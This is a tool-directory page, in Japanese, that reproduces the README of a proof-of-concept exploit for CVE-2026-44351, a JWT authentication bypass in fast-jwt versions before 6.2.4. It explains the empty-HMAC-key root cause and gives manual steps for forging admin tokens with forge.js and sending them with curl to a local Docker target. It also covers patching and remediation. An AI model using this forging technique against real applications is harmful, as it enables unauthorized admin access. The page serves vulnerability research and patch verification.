Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-44351-poc — CVE-2026-44351の概念実証。fast-jwt <6.2.4における認証バイパスで、空のHMACキーにより攻撃者が任意のJWTを偽造し、有効なものとして受理させることができます。 | Kitploit
ツール/GitHubGitHub/isaca0315/cve-2026-44351-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティ暗号化認証学習と教育レッドチーミングAPIセキュリティ
GitHubisaca0315/cve-2026-44351-poc

CVE-2026-44351-poc

CVE-2026-44351の概念実証。fast-jwt <6.2.4における認証バイパスで、空のHMACキーにより攻撃者が任意のJWTを偽造し、有効なものとして受理させることができます。

1日前未レビュー
リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-44351 — 空のSecretによるJWT偽造 (fast-jwt)

fast-jwt (6.2.4より前のバージョン) における認証バイパス (auth bypass) のPoC。 これにより、未認証の攻撃者が任意のJWTを偽造し、標的アプリケーションによって 正規のものとして受け入れさせることができる。

CVECVE-2026-44351
AdvisoryGHSA-gmvf-9v4p-v8jc
CWECWE-1391 (鍵の不適切な検証) / CWE-287 (不適切な認証) / CWE-326 (不十分な暗号強度)
CVSS 3.19.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
脆弱性fast-jwt < 6.2.4 (6.2.3 で検証済み)
パッチ[email protected] — 空のHMAC鍵を FAST_JWT_INVALID_KEY で拒否

📄 詳細な技術ドキュメント (実際のコードによる根本原因、攻撃の解剖、パッチ分析): docs/CVE-2026-44351.md

概要

fast-jwt は鍵解決 (key) として非同期関数を渡すことを許可している — これは JWKSサーバーと統合する際の典型的なパターンである:

root@kitploit:~
const verify = createVerifier({
  // ライブラリ自体が文書化している標準的なJWKSパターン
  key: async (decoded) => jwks[decoded.header.kid] || '',
})

受信トークンの kid が存在しない場合、このパターンは '' を返す。fast-jwt は空文字列を長さゼロの Buffer (Buffer.alloc(0)) に変換し、それを crypto.createSecretKey に渡し (Nodeはこれを黙って受け入れる)、空の鍵によるHMAC を使ってトークンの署名を検証する。

HMAC-SHA256(key='', input='<header>.<payload>') は誰でも計算できるため、攻撃者は 実際のシークレットを知る必要がない: 任意のクレーム (sub、admin、roles、 scopes、iss、aud、…) を持つトークンを偽造すれば、検証器はそれを正規のもの として返す。

非同期の鍵解決 (関数) 経路にのみ影響する。同期設定 key: '' は createVerifier がfalsy値でショートサーキットするため、正しく拒否される。

脆弱性の技術的詳細

脆弱性は src/verifier.js に存在する。async key resolver のフローにおいて:

root@kitploit:~
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
  // ...
  if (typeof currentKey === 'string') {
    currentKey = Buffer.from(currentKey, 'utf-8')  // ''  ->  Buffer.alloc(0)
  }

  const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
  // 分岐 !publicKeyPemMatch && !X509  ->  hsAlgorithms = ['HS256','HS384','HS512']

  if (validationContext.allowedAlgorithms.length) {
    checkAreCompatibleAlgorithms(...)
  } else {
    validationContext.allowedAlgorithms = availableAlgorithms // HMACファミリーが割り当てられる
  }

  currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
  // -> createSecretKey(Buffer.alloc(0))  (長さチェックなし)
  verifyToken(currentKey, decoded, validationContext)
})

そして署名は src/crypto.js で検証される:

root@kitploit:~
if (type === 'HS') {
  try {
    return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
  } catch { return false }
}

crypto.createHmac('sha256', Buffer.alloc(0)) は動作し、入力のHMACは攻撃者が計算 可能であり、偽造されたトークンは受け入れられる。

攻撃マトリクス ([email protected] で検証済み)

Resolver shapealgorithmsHS256HS384HS512
async () => ''(default)✅ 受け入れ✅ 受け入れ✅ 受け入れ
(d, cb) => cb(null, '')(default)✅ 受け入れ✅ 受け入れ✅ 受け入れ
async d => keys[d.header.kid] || ''(default)✅ 受け入れ✅ 受け入れ✅ 受け入れ
async () => ''['HS256','HS384','HS512']✅ 受け入れ✅ 受け入れ✅ 受け入れ
async () => ''['HS256','RS256']✅ 受け入れINVALID_ALGINVALID_ALG
async () => ''['RS256']INVALID_KEYINVALID_KEYINVALID_KEY

⚔️ Red Teamのステップバイステップ (100%手動エクスプロイト)

攻撃は手動で実行される: 唯一の成果物は forge.js であり、空の鍵で署名された JWTを生成する。送信と検証は curl で行う。

ステップ 0 — 標的インフラの起動 (Docker)

root@kitploit:~
docker compose up -d --build server
curl -s http://localhost:3000/health        # {'status':'ok'} -> target listo

Dockerは脆弱なtargetを実行するためだけに使用され、エクスプロイト用ではない。 攻撃の残りの部分は手動である。

ステップ 1 — 偵察

アプリの実際のJWTを特定し (例えば認証済みリクエストから)、署名を検証せずにその header/payloadを検査する:

root@kitploit:~
node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...

# header  : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }

検証すべきポイント:

  • headerが kid を公開している → アプリは kid で鍵を解決する (JWKSの可能性)。
  • 保護されたエンドポイントが壊れた kid を401で拒否するが、invalid algo/ invalid key を提示しない場合、resolverはおそらく keys[kid] || '' を行っている。

ステップ 2 — JWTの偽造 (空のsecret)

root@kitploit:~
node forge.js                          # 画面にトークン + curlコマンドを表示
node forge.js -o /tmp/jwt.txt          # トークンをファイルに保存
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin

スクリプトは常に、選択されたヘッダー {alg, typ, kid} とpayloadを、アプリの実際の シークレットを知ることなく、空の鍵 (secret: "") を使った HMAC-SHA* で署名 する。

ステップ 3 — トークンの手動送信

コピーしたトークン (またはファイルから読み込んだトークン) を使って:

root@kitploit:~
TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"

標的が脆弱な場合の期待されるレスポンス:

root@kitploit:~
HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}

ステップ 4 — 検証 / 対照

ケースコマンド結果
トークンなしcurl -si http://localhost:3000/admin401 Unauthorized
無効なトークンcurl -si http://localhost:3000/admin -H "Authorization: Bearer A.B.C"401 Unauthorized
偽造トークンcurl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"200 OK + adminアクセス

バイパスはクレームを変更してステップ2〜3を繰り返すことで再現可能である (ポストエクスプロイト: role、scopes、別の sub などへの昇格)。


検証デモ (オプション)

脆弱なバージョンとパッチ済みバージョンの簡単な比較:

root@kitploit:~
npm run demo        # [email protected] -> 偽造トークンが受け入れられる
npm run fixed       # [email protected] -> 偽造トークンが拒否される (FAST_JWT_INVALID_KEY)

Dockerでも:

root@kitploit:~
docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed

修復

  • [email protected] 以降にアップデートする: prepareKeyOrSecret は長さゼロの HMAC鍵を FAST_JWT_INVALID_KEY で拒否する。
  • 非同期resolverでは、フォールバックとして ''/Buffer.alloc(0) を返さない: undefined/null を返し、そのケースを鍵解決エラーとして扱う。
  • すでに侵害されたデプロイでは、プロセスを再起動するか、移行期間中は cache: false を使用する: 検証キャッシュ (デフォルト1000エントリ / 600秒TTL) は 以前に受け入れられた偽造トークンを保持する可能性がある。
  • 多層防御: RFC 2104の推奨 (HMAC鍵の長さ ≥ ハッシュの出力サイズ) を適用する。

フロントエンド (実際のアプリモード)

サーバーは管理コンソール (public/) も公開しており、実際のアプリ上で エクスプロイトを確認できる: 企業ログイン、クレーム付きダッシュボード、adminアクセス パネル、統合されたRed Teamビュー。

root@kitploit:~
node server.js            # または再度: docker compose up -d --build server
open http://localhost:3000

デモアカウント:

EmailPasswordロール
[email protected]admin123admin: true (superadmin)
[email protected]user123admin: false (member)

アプリは正規のSaaSを再現している:

  • POST /login は createSigner を介して実際のシークレット (kid: legit-kid) で 署名されたJWTを発行する — signerは脆弱ではない。
  • フロントエンドはトークンを localStorage に保存し、脆弱なverifierを使用する GET /admin を叩く。
  • Red Teamビュー: 「偽造トークンを生成」ボタンはローカルで署名する (純粋なJSでの 鍵 '' によるHMAC-SHA256、RFC 2104 — WebCryptoは長さゼロの鍵を受け入れない)、 または node forge.js のトークンを貼り付けて /admin を試す。admin: true で 200 OK を返す → ブラウザから出ることなくバイパスが確認される。

フロントエンドは単なるプレゼンテーションである: 脆弱性は同じまま (async key resolverと keys[kid] || '') であり、READMEの forge.js + curl による手動攻撃 フローは引き続き機能する。

プロジェクト構造

root@kitploit:~
.
├── Dockerfile            fast-jwt 6.2.3 と 6.2.4 (fixed/) のイメージ
├── docker-compose.yml    server / demo / fixed-demo サービス (exploitなし)
├── .dockerignore         node_modulesをビルドコンテキストから除外
├── package.json          依存関係: [email protected] (脆弱)
├── server.js             脆弱なAPI (フォールバック || '' 付きasync key resolver) + /admin + /login + 静的ファイル
├── forge.js              唯一のスクリプト: 空のsecretでJWTを生成 / トークンを検査
├── demo.js               [email protected] (脆弱) に対するライブラリレベルのデモ
├── public/               「実際のアプリ」フロントエンド (login, dashboard, admin, red team)
│   ├── index.html
│   ├── styles.css
│   └── app.js            SPA + クライアントサイド偽造 (純粋なJSでの鍵 '' によるHMAC-SHA256)
├── docs/
│   └── CVE-2026-44351.md 技術ドキュメント: 内容、根本原因、パッチ
└── fixed/
    ├── package.json      依存関係: [email protected] (パッチ済み)
    └── demo.js           [email protected] (パッチ済み) に対する同じデモ

警告

この資料は教育およびセキュリティ研究のみを目的としている。エクスプロイトは 自身のアプリケーション、または所有者の書面による許可を得た場合にのみ使用すること。 第三者システムに対するこの技術の無断使用は違法であり、その使用の責任は使用者自身に ある。

ツールをダウンロード